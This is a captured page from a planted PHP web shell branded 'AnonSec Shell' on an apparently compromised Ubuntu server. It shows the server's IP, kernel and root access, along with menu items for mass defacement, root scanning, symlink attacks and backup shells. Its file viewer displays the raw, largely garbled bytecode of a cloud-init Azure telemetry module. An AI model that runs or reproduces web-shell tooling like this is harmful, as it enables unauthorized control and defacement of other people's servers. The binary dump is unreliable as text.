AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/kvp.cpython-310.pyc
o

x[hk�@s�ddlZddlmZmZddlmZddlmZddlmZm	Z	ddl
mZmZe�
e�Zdeejfdd	�Zd
edefdd�Zd
ejdefdd�Zdefdd�ZdS)�N)�datetime�timezone)�Optional)�version)�handlers�instantiated_handler_registry)�errors�identity�returncCs tj�d�}t|tj�sdS|S)z'Get instantiated KVP telemetry handler.�	telemetryN)r�registered_items�get�
isinstancer�HyperVKvpReportingHandler)�kvp_handler�r�=/usr/lib/python3/dist-packages/cloudinit/sources/azure/kvp.py�get_kvp_handlers�r�reportcCs,t�}|durt�d�dS|�d|�dS)z/Report to host via PROVISIONING_REPORT KVP key.Nz.KVP handler not enabled, skipping host report.F�PROVISIONING_REPORTT)r�LOG�debug�	write_key)rrrrr�report_via_kvps
r�errorcCst|���S)N)r�as_encoded_report)rrrr�report_failure_to_host&src
Csxzt��}Wnty}zd|��}WYd}~nd}~wwt�ddt����dt�t	j
�����d|��g�}t|�S)Nzfailed to read vm id: zresult=successzagent=Cloud-Init/z
timestamp=zvm_id=)
r	�query_vm_id�	Exceptionr�
encode_reportr�version_stringr�nowr�utc�	isoformatr)�vm_id�id_errorrrrr�report_success_to_host*s����	r&)�loggingrr�typingr�	cloudinitr�cloudinit.reportingrr�cloudinit.sources.azurerr	�	getLogger�__name__rrr�str�boolr�ReportableErrorrr&rrrr�<module>s


Anon7 - 2022
AnonSec Team